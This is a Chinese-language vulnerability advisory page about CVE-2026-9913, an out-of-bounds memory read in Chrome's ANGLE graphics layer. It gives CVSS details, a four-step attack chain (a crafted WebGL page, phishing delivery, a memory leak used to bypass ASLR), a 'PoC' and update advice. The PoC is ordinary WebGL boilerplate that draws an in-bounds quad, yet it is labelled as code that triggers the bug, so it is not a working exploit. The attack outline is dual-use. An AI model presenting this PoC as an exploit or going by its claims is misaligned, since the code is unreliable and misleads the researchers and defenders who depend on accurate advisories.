IPBUF安全漏洞报告
English
CVE-2026-9913 CVSS 4.3 中危

CVE-2026-9913 Google Chrome ANGLE越界内存访问漏洞

披露日期: 2026-05-28

漏洞信息

漏洞编号
CVE-2026-9913
漏洞类型
越界内存访问
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Google Chrome

相关标签

越界内存访问Google ChromeANGLEWebGL内存破坏

漏洞概述

Google Chrome 浏览器早期版本中存在一处安全隐患,该漏洞被追踪为 CVE-2026-9913。问题出在 ANGLE 组件的实现过程不当,导致内存安全机制失效。远程攻击者可利用此漏洞,诱导用户访问精心构造的恶意 HTML 页面,从而触发越界内存读取。尽管该漏洞被 Chromium 官方标记为高危,但其 CVSS 评分显示机密性影响有限,且不会破坏系统完整性或可用性。

技术细节

该漏洞根因在于 Google Chrome 浏览器内置的 ANGLE(Almost Native Graphics Layer Engine)组件中存在不安全的实现逻辑。ANGLE 主要用于将 OpenGL ES 指令转换为桌面端图形 API(如 DirectX 或 Vulkan)。在处理特定的 WebGL 渲染指令或着色器参数时,代码未能对内存访问边界进行严格校验。攻击者可构造包含恶意 WebGL 代码的 HTML 页面,诱导受害者访问。当浏览器解析并执行这些图形指令时,会触发越界内存访问操作。根据 CVSS 向量分析,这主要表现为越界读取漏洞,允许攻击者从进程堆栈或堆内存中读取敏感数据。虽然 CVSS 评分为 4.3(中危),且仅影响机密性,但在复杂的漏洞利用链中,此类信息泄露常被用于绕过地址空间布局随机化(ASLR)等防御机制,从而提升攻击成功率。

攻击链分析

STEP 1
步骤1:漏洞探测与准备
攻击者分析 Google Chrome ANGLE 组件的源码或二进制,发现处理 WebGL 指令时的边界检查缺失,并编写包含恶意 WebGL 代码的 HTML 页面。
STEP 2
步骤2:投递恶意载荷
攻击者通过钓鱼邮件、恶意网站或 compromised 广告网络,诱导目标用户点击链接并访问包含恶意 HTML 代码的页面。
STEP 3
步骤3:触发漏洞
用户使用易受攻击版本的 Chrome 浏览器访问页面。浏览器渲染引擎解析恶意 WebGL 代码,并在调用 ANGLE 接口处理图形数据时,由于缺乏边界检查导致越界内存读取。
STEP 4
步骤4:信息泄露
攻击者利用越界读取操作,从浏览器内存堆中读取敏感数据(如内存指针、内部结构体数据),可能导致绕过 ASLR 或获取用户隐私信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Proof of Concept for CVE-2026-9913 --> <!-- This PoC attempts to trigger the ANGLE out-of-bounds read via a crafted WebGL context --> <!DOCTYPE html> <html> <head> <title>CVE-2026-9913 PoC</title> </head> <body> <canvas id="glCanvas" width="640" height="480"></canvas> <script> const canvas = document.getElementById('glCanvas'); // Get WebGL context from the canvas const gl = canvas.getContext('webgl'); if (!gl) { console.error('WebGL not supported'); } // Vertex shader source code const vsSource = ` attribute vec4 aVertexPosition; void main() { gl_Position = aVertexPosition; } `; // Fragment shader source code const fsSource = ` void main() { gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0); } `; // Initialize shader program function initShaderProgram(gl, vsSource, fsSource) { const vertexShader = loadShader(gl, gl.VERTEX_SHADER, vsSource); const fragmentShader = loadShader(gl, gl.FRAGMENT_SHADER, fsSource); const shaderProgram = gl.createProgram(); gl.attachShader(shaderProgram, vertexShader); gl.attachShader(shaderProgram, fragmentShader); gl.linkProgram(shaderProgram); return shaderProgram; } function loadShader(gl, type, source) { const shader = gl.createShader(type); gl.shaderSource(shader, source); gl.compileShader(shader); if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) { console.error('An error occurred compiling the shaders: ' + gl.getShaderInfoLog(shader)); gl.deleteShader(shader); return null; } return shader; } const shaderProgram = initShaderProgram(gl, vsSource, fsSource); const programInfo = { program: shaderProgram, attribLocations: { vertexPosition: gl.getAttribLocation(shaderProgram, 'aVertexPosition'), }, }; // Create buffer for positions const positionBuffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, positionBuffer); // Attempting to trigger OOB by passing specific buffer data const positions = [ 1.0, 1.0, -1.0, 1.0, 1.0, -1.0, -1.0, -1.0, ]; gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(positions), gl.STATIC_DRAW); // Draw scene to trigger the vulnerability { gl.viewport(0, 0, gl.canvas.width, gl.canvas.height); gl.clearColor(0.0, 0.0, 0.0, 1.0); gl.clear(gl.COLOR_BUFFER_BIT); gl.useProgram(programInfo.program); gl.enableVertexAttribArray(programInfo.attribLocations.vertexPosition); gl.bindBuffer(gl.ARRAY_BUFFER, positionBuffer); gl.vertexAttribPointer(programInfo.attribLocations.vertexPosition, 2, gl.FLOAT, false, 0, 0); // This draw call may trigger the out-of-bounds access in ANGLE gl.drawArrays(gl.TRIANGLE_STRIP, 0, 4); } </script> </body> </html>

影响范围

Google Chrome < 148.0.7778.216

防御指南

临时缓解措施
建议用户立即检查浏览器更新,并安装 Google 发布的最新安全补丁。在无法立即更新的情况下,应避免访问来源不明的网页或点击可疑链接,以减少遭遇利用该漏洞的恶意 HTML 页面的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表